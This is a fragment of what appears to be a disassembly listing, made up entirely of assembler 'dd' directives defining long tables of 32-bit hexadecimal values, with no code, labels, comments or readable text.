		dd 5C0B3675h, 2FB055C1h, 23863897h, 50045F54h, 684202B8h
		dd 19D51C33h, 3BCB52DBh, 0BD93E211h, 0B83D56C4h, 3ECA4E93h
		dd 0FF2E8258h, 0F4EB44AEh, 68FF5E35h, 4E603DEh,	74652C45h
		dd 0FA7D12F6h, 0BFF9002Bh, 31B80259h, 2E9AF558h, 8D407805h
		dd 4ADC909Fh, 6834EE89h, 147446F9h, 8416E4Ch, 2398901h
		dd 2C34E926h, 0F4F1F0Ch, 4F749DAh, 0BB520180h, 0A875F402h
		dd 0AE225FC9h, 9CDFD40Bh, 4C2EFCC5h, 87A3C55Ah,	0F3D9EFADh
		dd 5F2C157Ch, 0FECB162Bh, 0AC13821Fh, 0A40119C3h, 975E6BFh
		dd 871B566Eh, 0FA4BF429h, 7CDA0F0Ch, 566181Fh, 88583CAFh
		dd 436A278Ch, 0C023E140h, 14AAB26Ah, 80492819h,	3D5BE781h
		dd 5A0D6BB3h, 145E6C8Bh, 0B8F0FA96h, 99E1BF5Ah,	5C0E92F1h
		dd 4BAC9AEBh, 512F8D91h, 0EC139D6Ah, 0BACF5F0h,	5DEB3119h
		dd 6080B29Ch, 1E34AEBFh, 4EB84767h, 1743B85Eh, 0F4CA3864h
		dd 7FB02384h, 726D01BAh, 54683DDEh, 0BF323B0Ah,	2FF55C15h
		dd 6CE20D0h, 5709C205h,	0F4A6C076h, 0B4AB785Bh,	7F656F93h
		dd 7115A306h, 42CE0C13h, 3AA9D7D0h, 0FFA15EC7h,	79F38F00h
		dd 0B8462D0Bh, 23830C0Eh, 0DDAE1296h, 21C46212h, 3E905E01h
		dd 0C36FC787h, 27B06AD1h, 34D0F301h, 0B8A65E08h, 0BB49C813h
		dd 54ACD231h, 0F92F1A25h, 49CED87Fh, 0BC449177h, 0AC7C4025h
		dd 0C630102Fh, 8A0F807Eh, 68FBF92Dh, 7996B733h,	8550ED28h
		dd 49F06857h, 0C38BF455h, 0D1988BF7h, 0C831421Ch, 0E9B071F5h
		dd 0F1128A73h, 418043C8h, 0F751308Eh, 72BB3C17h, 87C50BAh
		dd 51A01C60h, 18D63529h, 5A25DFBDh, 957894D5h, 0CF88F47Ch
		dd 3F0500F4h, 0F71FBC26h, 1327D87Ch, 0BCB9D9DBh, 0EED56F96h
		dd 0F3C2CA20h, 3C533E06h, 8116BB97h, 2A7E8B84h,	1FF1C591h
		dd 0F85DCE60h, 8B989C80h, 19D45057h, 9AB6D62h, 995B09F5h
		dd 902B527Eh, 887FB456h, 2058E109h, 0D8255CEh, 52D7D7F6h
		dd 8AE92DA8h, 505A3B82h, 0C328D2E0h, 16BCDE91h,	9C47B622h
		dd 0C93389E1h, 6DC7B5A0h, 50ADF190h, 0C8B62C52h, 29F616A2h
		dd 0CF59ECF2h, 0DEC10ACEh, 7D0C79FFh, 0F41F9B1Dh, 35486F18h
		dd 237458E0h, 0CE7789AFh, 1B02D130h, 30694BC9h,	9E263905h
		dd 1013502Bh, 75F2CD89h, 17C2A6D3h, 8CBA5EF7h, 68015621h
		dd 4EA7440Fh, 36BEAE9h,	51C8019Ch, 0BE17EFC1h, 0A3A9CA77h
		dd 0F45F4E4Ch, 0B372E9AFh, 0E60315BAh, 76880F05h, 60E379C8h
		dd 53E52E03h, 2D00489Eh, 0DF3B741Bh, 2FE9C631h,	7D19BE54h
		dd 5AD26C43h, 4C942BFAh, 0CD7FC4BAh, 0F752AC92h, 22819AF9h
		dd 86DB353h, 40023670h,	0E0002D33h, 16B4D4Bh, 4DC968D8h
		dd 0D4813F1Eh, 0F5624B64h, 34CCD281h, 7DFD692Fh, 8EE265BBh
		dd 0BF002250h, 3496158h, 270C65BEh, 0D656BAB7h,	0EBF20118h
		dd 8048B7CBh, 0C71F08B0h, 0E5282949h, 0AA040882h, 37D388EBh
		dd 4C5F0171h, 0A089250h, 0CE29DDE9h, 9E4AFE40h,	12F2EC27h
		dd 6BBB3C3h, 23711B30h,	0F51FC201h, 0D609EEBEh,	28C6A130h
		dd 0B5B29406h, 2133851h, 0B598EBEh, 0A06EAAE9h,	8851528Eh
		dd 7DEEE4FDh, 0E6793059h, 0F81CC667h, 50179E27h, 58F380D1h
		dd 0A33B33E9h, 77FBE723h, 95F22FAh, 6A3685A1h, 0C7FA99D4h
		dd 58C2E1E8h, 0C1F43021h, 0BAEB5Bh, 72BD5572h, 0F94F5B2Eh
		dd 0C72101AAh, 0E52413h, 0A0B951DFh, 955DE908h,	0DDB30900h
		dd 3A58D868h, 8852C253h, 0E34BFFDEh, 9BDFE0F2h,	9DB7C9EEh
		dd 79E14972h, 686485B1h, 305E1ACBh, 306E950Bh, 2551150Ch
		dd 55221AE3h, 4455D976h, 0BE63F084h, 0AE51887Bh, 0E54B3628h
		dd 0BA525C70h, 300D142Dh, 0D701EB66h, 0E999CFF2h, 3343C09h
		dd 0B576CCBEh, 3B93D330h, 9A125267h, 50DCBDB7h,	475C3CDCh
		dd 5056C95Dh, 9CBD02FCh, 455D3805h, 8B4F4255h, 0F4F2B54h
		dd 375C0F00h, 0BD7E3DCDh, 0ADF410BBh, 390C680Ch, 0DB5F45CFh
		dd 2B12718Fh, 283CAF74h, 0D470070h, 5AD03167h, 92D7625h
		dd 18A1DE7Bh, 0EA88D5BEh, 25D2F63Dh, 0B1880347h, 59CCD8A8h
		dd 58E22628h, 0F851C01h, 129A5AD4h, 0F078BC61h,	7EB864EFh
		dd 5E5E8495h, 30E506EBh, 0C20793CBh, 26CF347Ch,	4A95B2B5h
		dd 8EC506A7h, 6CE3ECh, 6A666938h, 2E9ED9BEh, 54A57B1h
		dd 0EE50599Bh, 0C68531C7h, 0F4F50812h, 0B25BE87Ah, 29436C14h
		dd 87A5F031h, 0B284B151h, 0C0A0C270h, 5D867425h, 0E5009290h
		dd 6103446Ch, 0BF0598E9h, 0B19CA04Eh, 0E0256C26h, 0B0E2D0C3h
		dd 51972045h, 0E943A280h, 0DFF2ED2Dh, 5A140E38h, 0D82D4DA4h
		dd 0D70A6616h, 0B09EE8CFh, 16F2062Fh, 0B0EFC13Bh, 0A16B173h
		dd 69D16602h, 68001063h, 0AB957770h, 28058D1h, 0E47C50BBh
		dd 0DD84016Eh, 8540FE06h, 0F3220AE3h, 34CCED5Ch, 43DF2E73h
		dd 95F200F9h, 0C7E94D6Fh, 58BDE39Ah, 90F4E6D1h,	0F9F895A9h
		dd 0E9E3D961h, 0E77FEA10h, 0C2CE6A59h, 0CE668F05h, 0E87C9981h
		dd 9C096206h, 0D44AC654h, 3C59245Bh, 5C932C8Bh,	6174EAFDh
		dd 452EF0F8h, 8263B856h, 0B6C241F9h, 68133150h,	34AB544Fh
		dd 9ECEEADEh, 0F2C47813h, 4C0592BEh, 0D883B52h,	47601661h
		dd 97ED07h, 4398B223h, 9F5AD101h, 0F87A8ADCh, 0A828F0E7h
		dd 60D4E932h, 1F251083h
		dd 3D4B9518h, 0F240BDC3h, 0EE3B8080h, 2DCA139Fh, 0AD15B38h
		dd 57FEF364h, 0D86A62FDh, 0B529BE90h, 84E8DD9Ch, 0A57567C9h
		dd 49689320h, 324B2F7Fh, 4150C798h, 26F8D544h, 4ACF5E86h
		dd 0BA53BE4Bh, 1D01BE0Dh, 0B5C026ECh, 8814D2C4h, 2708E1E4h
		dd 1C3F250h, 0BFEF4E2Dh, 6DC3899Ch, 0F955C965h,	27E8201Ch
		dd 5EE68696h, 5271540Bh, 8B80293Eh, 80E8969h, 6A029F24h
		dd 85331D69h, 70BF6A3h,	0D4BE0950h, 0E9893EA1h,	0DA5C6D65h
		dd 0EA245D72h, 0DEBEB43Eh, 0D44AECEEh, 0F3A146F8h, 2F1405DFh
		dd 599771BAh, 3AAB4FE0h, 550D6311h, 0C51687B4h,	0AA8F955Ah
		dd 2689DEE6h, 2C5846E1h, 0C43B01F8h, 2B685D12h,	9BD00E38h
		dd 466AC20Bh, 0D1CDF305h, 71F528D0h, 0D887E4FAh, 0C03BD497h
		dd 1F1CBB53h, 81494700h, 2867D0CBh, 0BF573A77h,	8990801Ch
		dd 8606FB01h, 0F51DFFE4h, 0ED93EB8Bh, 0EE0253A9h, 406F1677h
		dd 318CAF5h, 0F2215A08h, 71B8831Ch, 57422CAAh, 0F8CA13B2h
		dd 3DA4C0EFh, 9D5D442Dh, 0B65C6EF6h, 79850467h,	66BA00FFh
		dd 0A03F2D16h, 5F5C2293h, 12C9A859h, 3B40305h, 64452088h
		dd 1A07C49Eh, 8FC15DA2h, 27A5109Eh, 8519C9DAh, 0FE892F25h
		dd 0A1BDEC2Eh, 0A63FF560h, 2D74887h, 2E4C5AE2h,	1368FC40h
		dd 0F9FD177Ch, 10FD9726h, 0E40F1184h, 7F98595Eh, 0CF3CC509h
		dd 83C1DD12h, 7F052819h, 0F0D55D51h, 0A70DEC78h, 34CA29B9h
		dd 5EC36560h, 8E62BCBCh, 0FC5B1009h, 66AAF4CCh,	685C329Fh
		dd 9ACE3966h, 0C33EEEF1h, 99A49F18h, 0DDA612EEh, 78C5F573h
		dd 51500788h, 0A99F5958h, 6590751Ch, 2F16E1CBh,	96043545h
		dd 0A016E5AAh, 65990197h, 0A668C04h, 138CA0EAh,	0FF738225h
		dd 0FE118D82h, 99F9BD04h, 0D524012Dh, 259FAD5Dh, 0D7C88B16h
		dd 3530D46Eh, 8DB4A3A9h, 0B0E47DC0h, 6C325C6Dh,	0DF71A725h
		dd 0FA27E0CDh, 24687750h, 69BA1201h, 0D5010EF8h, 586CA033h
		dd 4B3F07E9h, 37DF04Ch,	849B9CBCh, 0C8DAF2EBh, 0A45EA533h
		dd 20FF7825h, 2C16B041h, 4D8D596Dh, 0C72A70C5h,	89684186h
		dd 4F8C6F57h, 0E9D9A8B2h, 7DC2EF02h, 7D62A051h,	0FA36497Ah
		dd 0E887D7C8h, 0BC09DDF7h, 0D0134B4Ch, 9DB86036h, 15486455h
		dd 1B94046Fh, 90AB0749h, 444AF383h, 0D4227A26h,	0B8001810h
		dd 7DE30A1Bh, 3212A805h, 860B0930h, 0D1A08448h,	5ABDF0EEh
		dd 0F302CE41h, 5875F816h, 0C042852h, 0BB196F30h, 69DBA590h
		dd 0C6660B3h, 3544295Ch, 2FEBD0BFh, 2F54FA01h, 684DE962h
		dd 0E19AB67Dh, 0D0921E7Eh, 7F542624h, 25A64D2Dh, 42261947h
		dd 3A82A808h, 0AEEB3693h, 88AE99D5h, 370F56C1h,	255E5313h
		dd 0F01F3872h, 0EDF86DD7h, 8E5EE4D1h, 0B9F58C2h, 0D62C2ED3h
		dd 0DD118E7h, 0D24A9BE9h, 0B9E60A8h, 8FF23A79h,	0C177D880h
		dd 0F8BDB3C0h, 0C02C8116h, 0EF62DFCAh, 0E9124514h, 7FF2A80Eh
		dd 0B195BDC0h, 312A628Ch, 0C2BE8FEAh, 6769C30Dh, 0BF68883Ah
		dd 518A200Fh, 3035EB68h, 0F653523Eh, 1D1009D8h,	4F705B22h
		dd 198A0F0Bh, 0A1151CDh, 97A41E28h, 7AB5E1B9h, 93D439E7h
		dd 8D905620h, 611800Bh,	0B115669h, 2ED2AE72h, 0CFF32B0Ah
		dd 7910F78Eh, 2763B62Ch, 14426B7Ch, 2105C621h, 0E94197F9h
		dd 0A18CEA05h, 425CA719h, 0F2814A03h, 97D03ECEh, 4892BAD3h
		dd 54399724h, 0AA2DC193h, 0BC4A24CAh, 32233298h, 7612DD77h
		dd 0F77A347Fh, 309CEBA0h, 0C3A113C8h, 0C6586AA1h, 0C3D928C6h
		dd 5B0E0EB2h, 90505393h, 498ACB02h, 0AE82204Dh,	0C6000118h
		dd 5AFF1F57h, 175BECEFh, 95FC21C2h, 0BCE984E5h,	685A051Bh
		dd 65AB2732h, 0CB28EDFCh, 1A67DF5Eh, 9A29DF25h,	0A1029CFFh
		dd 41032059h, 106BCB0h,	3496DABEh, 2C1CA5A8h, 86592F3h
		dd 0D8806D44h, 3A5B802Dh, 0A23FE77Ch, 0F2455B38h, 3B376AE3h
		dd 5EBC03A2h, 41DF494Ah, 0C43A9EC4h, 4C99BBB0h,	4B96F02Eh
		dd 18760D07h, 28A75FBFh, 884B00F9h, 9835727Fh, 0CFE22261h
		dd 2DE7C65Dh, 5ADC5E5Dh, 1E61CE83h, 3E75FE85h, 0D3AA3504h
		dd 8243E7ABh, 48ABB3E9h, 1E32F171h, 0DF3B2823h,	56B0E052h
		dd 890F0206h, 20F338C9h, 0BD1D86D9h, 9CF06DAFh,	26685BCDh
		dd 1277653Fh, 82600905h, 4DD92D01h, 0E0072E12h,	40554A52h
		dd 80550FAh, 17141C68h,	163F35Dh, 5D3BF57h, 0B87E3BE8h
		dd 279C000Bh, 0B4E9602Ah, 3BA0B93Eh, 7D7064A5h,	0A5556F9Dh
		dd 797FC29Ah, 0F2E941F0h, 0DD599D32h, 4D3075DEh, 3D6725E5h
		dd 8DAA78ACh, 0A2858F1h, 38BBB026h, 5E80072h, 55C02C53h
		dd 31DE62Dh, 0E2425CF8h, 7234A157h, 0EB492046h,	80870F17h
		dd 61BED484h, 0FECDE980h, 5AE6327Fh, 786895EFh,	0EE959B7Fh
		dd 71D99D1Ch, 931DF508h, 0CE76A934h, 772F3C45h,	76B74294h
		dd 0A4A0B921h, 8526AC98h, 358468A7h, 3B867296h,	0FA3838BCh
		dd 5364FB4Eh, 5EBFA580h, 684A38C2h, 410D3B50h, 0EE830598h
		dd 0FE902FA7h, 5A50D104h, 0E1D0BA1Fh, 251655F5h, 947D38C8h
		dd 0C362E4Dh, 58CC72Ch,	56F3FB93h, 7706B807h, 6C355011h
		dd 304C4B56h, 9FBA18D7h, 0B1E337A5h, 4584A04Ch,	6692A044h
		dd 89CF290Ch, 75E996F9h, 69351D8Fh, 9E4A8956h, 82B14E79h
		dd 70F452F2h, 0F8F1B5E2h, 27C5BD39h, 5671E2CFh,	6817569Bh
		dd 8EBC298Fh, 133BCBC4h, 5FE41EB4h, 6C9E44Ch, 1A4EFFF0h
		dd 41E1C9F8h, 0DB5DC22Fh, 0D8732D9Ch, 97C6680Fh, 80A567A9h
		dd 462B54D8h, 2E351D00h, 2D37520Eh, 14250176h, 0E9C2012Ah
		dd 0C1B93532h, 5750DCF0h, 8D8F19Dh, 0BB0064A1h,	107636E0h
		dd 5FFB0B29h, 6196D931h, 424A6879h, 611D7ACCh, 885310D6h
		dd 54C72FF3h, 0D3BB0AB4h, 1017DA94h, 48E8141Eh,	0EDC38083h
		dd 5A60D882h, 89A96C77h, 6C903F11h, 135143F7h, 41576638h
		dd 275CEEACh, 8A5C2322h, 0E9050FEDh, 50AA85AEh,	3584CA7Fh
		dd 0CD21044Dh, 40A09DAFh, 29F16B69h, 5A0CC48h, 79591F39h
		dd 4BFD81AFh, 0BAFFD613h, 0D6D97F3Dh, 0A5F3E98Bh, 7DF85ED7h
		dd 6442D08Bh, 3DCEA5C1h, 4FEC180Eh, 0DFA2DB0Bh,	165EC3ECh
		dd 0DFF91D4Ah, 85343E87h, 0E43A8EA9h, 0BA4E4FF2h, 1BEF0503h
		dd 0D5B192E3h, 5365FC51h, 5879A41h, 622F3A57h, 0C80E951h
		dd 51D9295Bh, 0B59E59E8h, 0E9167C3Bh, 0C3F3288Ch, 0C854EB5Eh
		dd 38F30161h, 0F9293E46h, 0F7DA25F5h, 6BC49711h, 2F07A6F3h
		dd 861C2B20h, 0EA3262CAh, 0E2030602h, 0FA7EC0B7h, 0D3290545h
		dd 0AEE6FBE9h, 0E79CFB88h, 579463Fh, 5E3AB649h,	40D5AF36h
		dd 0EF029F4h, 180B612Dh, 6965E372h, 5A2C5CB7h, 0CC07363h
		dd 0CC3467Dh, 987A270Fh, 0B67EA768h, 411F60D1h,	0E9173872h
		dd 77AEEA43h, 0A0F9B46Ch, 8F982DD8h, 26466B26h,	2B87580Bh
		dd 0ADD1762Eh, 94893509h, 0C79778F0h, 0D068878Eh, 0B4DF0B35h
		dd 965C9859h, 0C12C447Fh, 0D204C82Bh, 24AD0A5Dh, 88AF6B13h
		dd 7BFB020Ch, 908A92C8h, 521896D0h, 72395E55h, 167310D4h
		dd 0F0D888FEh, 8D69DFDEh, 394E8332h, 38AB10C1h,	0F91C50D5h
		dd 0C23F7D41h, 68017572h, 8C2F6962h, 0F97031D9h, 69FAD4BDh
		dd 482024F0h, 50C483A1h, 0CB06540Bh, 61800706h,	0E619BDFh
		dd 5713E92Dh, 24857F9Ah, 27B1A85Dh, 0EC84FF59h,	0CB649033h
		dd 3627C90h, 6B8D1C8h, 8620B493h, 31FF24CAh, 9789FA4h
		dd 32F477C9h, 0C322DC5h, 72C38BE9h, 2CDF76D8h, 61A7300Ch
		dd 45ABE954h, 87A2AE88h
		dd 67866882h, 0DE917A1h, 7DB76FFBh, 76EE8101h, 3B32743Fh
		dd 604F15E0h, 0C4F21B0Ah, 3B76BC06h, 3620EA05h,	44ABE711h
		dd 0BBEB954Dh, 0FC1C1C31h, 7BBB8B82h, 98857415h, 12CCA9D4h
		dd 40F8FAB4h, 5D51661Dh, 65F4DEE1h, 0F2E91EE1h,	5125BAF4h
		dd 6E2FC9D2h, 0BF8BF1D4h, 0EF2F0874h, 505382FDh, 6277D488h
		dd 5A5AFF42h, 51F8E080h, 9FB35338h, 3E8BDBF6h, 989E55D5h
		dd 9F059231h, 24E04077h, 69D497A0h, 208FDA5Ah, 5C5F7BCDh
		dd 29827A75h, 0FFBDEA55h, 57C9EC5Bh, 0A440D4CAh, 96B361F8h
		dd 45BF0516h, 0BA84AD0Dh, 2860242Dh, 0EA59C02Ch, 4D49565Ch
		dd 0A14AF1F6h, 0E1DC20AAh, 94FFD7Fh, 50BE9112h,	5A2C0BDCh
		dd 0DFF44014h, 0E9258A31h, 891D74F6h, 0BF30366Dh, 0B980E850h
		dd 0CA590B19h, 0ADA0106h, 0DF559F1Fh, 0CD5E907h, 2CBF16CEh
		dd 0B24183E7h, 0BCC1827Bh, 0C8215C01h, 6AB9D92Eh, 0F24BB2E9h
		dd 61BA93DCh, 0C2FC8768h, 0C92AF1FDh, 0D7DAC7F6h, 0CB54EB09h
		dd 800EB470h, 6F4B63E9h, 0E2F06DBCh, 5F48EA6Dh,	7E84279Ah
		dd 555770DEh, 0A79FE913h, 877E6CFBh, 772F59B6h,	9EE0AE22h
		dd 4250B3D4h, 3A097EAh,	7312FE2Dh, 5CCB475Ah, 150C8B10h
		dd 2EC1A01Eh, 6B88427Ch, 76D02548h, 18389709h, 22188E33h
		dd 5EBCD1D6h, 0E901164Ch, 4BBC91FDh, 0BA9342E3h, 70D2F861h
		dd 85D0B22Bh, 0FA98F93Dh, 0AC6C24A3h, 0B2F1011Fh, 3C169735h
		dd 9F7A14E5h, 19982E2Bh, 68014C09h, 31077C2Bh, 7B0C32FCh
		dd 7AF4E90Eh, 5A2C20F9h, 3BC6A8B0h, 0ECCF0CBDh,	310DC424h
		dd 251A2C49h, 2EC6D0F5h, 892680D2h, 41A305E5h, 0E2E74590h
		dd 7BF15689h, 0C321ADBCh, 839B4CF0h, 3CDA68E3h,	0D395EC46h
		dd 72F11929h, 0A5E705F6h, 0E05FE984h, 3BF646Ch,	2D4E2C8Ch
		dd 0FBFC5A10h, 0E266518Eh, 0F4E5B050h, 2D1633EAh, 25790C48h
		dd 9C79DE41h, 155E2D0Dh, 0FEF7B103h, 0E9C990C1h, 0E13770EBh
		dd 8DDF8822h, 0D8A9851Ah, 0B02578C8h, 0AB7F866h, 3B68890Fh
		dd 4CF1050Fh, 0E1CB0034h, 1EFE3C45h, 0DC2D5825h, 0A3CB4255h
		dd 0D45DF0Bh, 78098829h, 4419D509h, 5F09E6A3h, 0B24E6780h
		dd 0A0B4215Ah, 7F6F6A86h, 0D7B84B5Ch, 2663E0A5h, 34C02D5Ch
		dd 413417EBh, 0F75B8001h, 3C42D230h, 16AB9A16h,	0FDD321CCh
		dd 0CDF6C79Ch, 0ABC7770Bh, 0A55576AFh, 1CA23E7Dh, 2D138F68h
		dd 2D504AFCh, 51610A9h,	7A07461h, 0DD92C4E9h, 0BF2544Ah
		dd 82F68C2h, 0D769A774h, 0A846039Ah, 5CE95017h,	0A5ABAE84h
		dd 2BFD2F72h, 0AD655517h, 20B8D04Ch, 0E39CEA48h, 7A873C81h
		dd 0CD4A3138h, 68ACE33h, 8F0B23D9h, 0E9C242FFh,	6AFA39AFh
		dd 0EA09A2A2h, 0FA099455h, 1A256184h, 45347A0Dh, 0F85D0098h
		dd 0C721027Fh, 0CD4BE913h, 9B677FEh, 38E59791h,	835D049Eh
		dd 96A9FFC1h, 5E118D12h, 0E5EC1D1Ch, 0DDF956B0h, 5815A80h
		dd 0BB9FADEDh, 0D504EEBFh, 0BB1FA87Bh, 2203442Fh, 5610EDC1h
		dd 6816ACD5h, 0E237EF88h, 48F140D4h, 9F5BB73Fh,	204AE540h
		dd 7A6877EFh, 0EB1B9DACh, 220530E8h, 0E9D53105h, 0C5448FCEh
		dd 28F3D8C8h, 7117A35h,	818C0F76h, 7DDAF7ADh, 0EB595EE3h
		dd 3F725508h, 4D10BBC0h, 0E9134287h, 7FDF65Dh, 18A9E7Dh
		dd 0CE7DB9BEh, 61B42E56h, 4360626Ah, 0B1E159C8h, 4BCE38F3h
		dd 0CF681C30h, 2E4D9378h, 3BE98501h, 4B9D4533h,	72675467h
		dd 64CEFA96h, 0F549FC92h, 97DE24A2h, 4EAAE344h,	4BE97BA4h
		dd 3668745h, 0C96466ECh, 0BF135AA8h, 0BD099336h, 68D86ADEh
		dd 0ABD8D2C2h, 0E9833BB3h, 713BF1FFh, 0E186ADD8h, 0B07B475Ah
		dd 681F41A6h, 6D5233BEh, 4A8DC2F4h, 0C64CBC92h,	296DFA25h
		dd 8FE855E0h, 36EAD388h, 0F22980DFh, 260CB850h,	13614A24h
		dd 753BBA02h, 854AFD03h, 0E1580804h, 43FC2B8Bh,	0CCF53112h
		dd 8095EC01h, 53CAFEECh, 5B057AB7h, 0FBC014Fh, 6F81278Bh
		dd 86F6C0D1h, 89689100h, 0C8C53762h, 4A9B57E1h,	7E7038F1h
		dd 0BE4A319Bh, 9254D4C8h, 0EBEBCEFh, 0A06B76FFh, 0D2008CF1h
		dd 0E93FA804h, 58A400Ch, 2D18B13Ch, 0AC967F68h,	2D325358h
		dd 53269DDh, 0F77C8A5h,	0BB97C6B7h, 12DDB40Ah, 0DCF7AF6Dh
		dd 7E686604h, 5EECBC01h, 2B4329EAh, 0E969BD01h,	0E32F0C12h
		dd 0CFB896C1h, 2C31CC10h, 8C00FB5Eh, 5D394C46h,	0A9F05A21h
		dd 50108EACh, 4430AF4Ah, 50613699h, 127CF26Fh, 0AE0EB1D7h
		dd 0A84D117h, 589CBEBh,	644953DFh, 0A13B87AAh, 356ED050h
		dd 0E312859Fh, 0CFD00742h, 501377EAh, 61CB60Bh,	31C8227Ah
		dd 0C2391ECAh, 0D24A130Ch, 608C3381h, 0D89E712Fh, 7AC57EDh
		dd 28DB0996h, 2CC047A5h, 903912E1h, 4526C383h, 4B86EB52h
		dd 0F7AE6285h, 90F94BAFh, 0E4F5D48Bh, 5C68128Dh, 0B699353Ah
		dd 64AC18B3h, 3959CB49h, 54A86E2Dh, 0C6AF34B9h,	0FEA6C11Ah
		dd 79318BB1h, 0E81AD5F9h, 4488D97Dh, 434D4933h,	0FC265E16h
		dd 0A5EBB48Dh, 5D032B70h, 2A61F968h, 989AC469h,	0FB415AB5h
		dd 1A221B31h, 895EA33Bh, 0A15958C8h, 0FC3B2B42h, 0A168C206h
		dd 6333D440h, 0EA852D9Ch, 0FD5A39CEh, 132F48A0h, 0D789E66Eh
		dd 6C59BF00h, 0A3C0BD58h, 0FE056E0Bh, 8D820F28h, 5B99FA23h
		dd 0C771A453h, 0BFF9970Bh, 0F184FF2Ah, 5A8C8B50h, 51A1C0B8h
		dd 0C1F97F50h, 11A2FFB4h, 0CC0163C4h, 570456C8h, 9E7F0E68h
		dd 4940D0FBh, 16056A47h, 3C8BFE89h, 0E96598BAh,	42938E30h
		dd 255C7CB9h, 0DFF457F5h, 60FF5163h, 77E9DA82h,	2B4CBB36h
		dd 52915BA2h, 3BBFFEFh,	47ADE702h, 0DC4065F8h, 152C14F2h
		dd 0A120D360h, 17D3F704h, 0A0A845BDh, 0D3AAF25Fh, 1515210Dh
		dd 5AC76320h, 0ADF724A0h, 0C9E68521h, 0DEF366EBh, 0E961BCB9h
		dd 8D348209h, 277A9858h, 0A615F112h, 2085E90Bh,	4DE7BF16h
		dd 0F267616Ch, 8CD2BAD0h, 0FD9BF984h, 3B3709EAh, 1B8077F8h
		dd 27D61C8Fh, 1CD00176h, 0E4A24B08h, 134241CBh,	4E3C97F4h
		dd 0EA0F50E4h, 8B4E6354h, 0EF85C056h, 0B05719Ch, 0D8D7B7A8h
		dd 0CAFC9A70h, 0C013901h, 0E518E954h, 7BD2697h,	0A4315A71h
		dd 0BE8E903Ah, 122F56A6h, 0A995C22h, 40E9989Eh,	73F6144Ch
		dd 0C2A55195h, 4EDEF4E9h, 53CAB125h, 8245AC3Fh,	755EF389h
		dd 88249CF1h, 0FEE56AA4h, 0DB35CF07h, 0A4EEDD0Bh, 14DB65BDh
		dd 0FED72059h, 0A7A5E586h, 0A4DF27F0h, 68020A41h, 25547242h
		dd 0B3BB53C0h, 0C00A5A5Bh, 164CFD13h, 0B21E1E5Bh, 1B84CB41h
		dd 0A26B5642h, 291F0771h, 80A937CFh, 121BA8CAh,	3FBE041Dh
		dd 0BF182A5Dh, 8331210Ah, 5CA1E905h, 455A90BDh,	0E8535A5Ch
		dd 813D25Ch, 0E9C243F2h, 32668706h, 5F585716h, 0D52031A5h
		dd 0DC3FE1A7h, 0CD3A8121h, 4649015Fh, 70FE870Fh, 82EFF39h
		dd 11130B08h, 7E2159E9h, 4AAC4B17h, 0F48A3FE9h,	0D8BE3850h
		dd 1969DACDh, 70F06881h, 5A1D2DFFh, 3A414168h, 89ACC517h
		dd 488AFAFDh, 0BD204F0h, 0D4D481CBh, 2EA82A95h,	4EA01C4h
		dd 5105F6A3h, 4B57AAB9h, 0D8A47C22h, 0A337A51Fh, 85FF93ADh
		dd 63C2EB00h, 0A03FD621h, 2BAA388Ah, 0DA77BB4Eh, 0DB108CDFh
		dd 0E66E4838h, 0AF9291D4h, 0D31384E6h, 0C4C4B8AEh, 5809D842h
		dd 0E927FBBCh, 0BC8ED8D5h, 7AD75294h, 953B2D7Fh, 414BBA7Fh
		dd 92651224h, 9C055560h, 7496C281h, 3C32BD00h, 81750230h
		dd 83EA91EDh, 6A9C2DFh,	2DFC2B2h, 0BA685153h, 1D416F7Ch
		dd 0EBC2A0Ch, 2A42C6B4h
		dd 471FFD08h, 0E041C41Dh, 0E106815Bh, 50D50198h, 0AC8C4E4Ch
		dd 0BB1F8068h, 9051F538h, 554408Ch, 0F907410Bh,	2D1B0575h
		dd 77680702h, 0A577E751h, 62A1C368h, 0BF54E980h, 0DAF65100h
		dd 89EDC280h, 5008E106h, 0E8672A4Ch, 81C15AB5h,	3A2C5D66h
		dd 0D8F27840h, 9012F011h, 3F500C5Eh, 5AC416DBh,	53175EBDh
		dd 4B7EB3FAh, 0AA13A448h, 2C1CCDA2h, 0E9F428B9h, 5301603Ah
		dd 0D8B75DB3h, 0B4922A65h, 4A2D3D1Ah, 31AD8104h, 0D2488C6h
		dd 0FC7EBE41h, 0CBC99E17h, 0B83EC6EFh, 48E70B24h, 64DD35E5h
		dd 6BCA25DBh, 96552D0Bh, 2715FD9h, 2EAC016h, 0FCF29DA2h
		dd 5091AE1h, 0F8AAC5BBh, 78F82777h, 0FAEE09DDh,	0EB30F488h
		dd 2CD6E528h, 40C805B0h, 0DF09F76Eh, 784E860Fh,	0B2D99F6Ah
		dd 0FC4C641h, 48AD9838h, 0B941B7B5h, 63B50B7Bh,	0E2F76A29h
		dd 9A71F790h, 68BA01E9h, 563C0D5Fh, 0BC4957C1h,	0AD74306Ch
		dd 9343B60Bh, 0AE65DF01h, 0C2EE830Eh, 0A24B7E68h, 4AD9E29Fh
		dd 0A278229h, 0C80081Dh, 0EEC79CC5h, 4D26DB0Fh,	0F0A8690Eh
		dd 0E8211714h, 0D5CDFB5Dh, 0A830A120h, 0CB478F4Dh, 0F02106EEh
		dd 27CA215Fh, 1EA11CCh,	0EE4A4A35h, 0FBF29E93h,	0D1E0F231h
		dd 3AA2CCF0h, 0C88BF24Fh, 804E5658h, 9EA62D2Fh,	89AFF512h
		dd 0FAF2EC09h, 0A4C33914h, 0C94DEB9Eh, 0CF7A99DEh, 2039DD05h
		dd 82BB0964h, 69F05594h, 925BDAEAh, 7A2C47BBh, 0E7FD0946h
		dd 93FE96F6h, 394CBE8Bh, 83551CDFh, 0BBA1A8D7h,	0CF2D067Fh
		dd 0F83DD533h, 5453A466h, 0F388F701h, 0B97E285Ah, 0A7AA9E96h
		dd 38620313h, 0BA6A008h, 0CE8B800Fh, 565F6568h,	5F702B26h
		dd 46FF8912h, 2ED73372h, 0D685E09h, 0C4625478h,	0A98BFB0Ch
		dd 0ED446627h, 81CF5769h, 32217AC1h, 0F7DC47C1h, 0DB9A1352h
		dd 4A22F8B5h, 0BF8C0061h, 0BB6DA6Fh, 0D64CEDE9h, 0C27F510Ch
		dd 0BEFFEE7Dh, 0CA640861h, 3DBF709h, 4F51CEh, 0B226EB41h
		dd 8A53FACFh, 0DF8BD91Fh, 0FF595FC9h, 0A9567E4Ah, 9BA5258h
		dd 2F603AF7h, 0B913F00h, 0FA9F78DAh, 40FFB013h,	200CBADDh
		dd 28549607h, 998EE2Fh,	868C0F6Eh, 9A700A29h, 0A2E9420Bh
		dd 5B587E6Ah, 24F96E5Ah, 0CC1FA05Eh, 3500D194h,	43BD296Fh
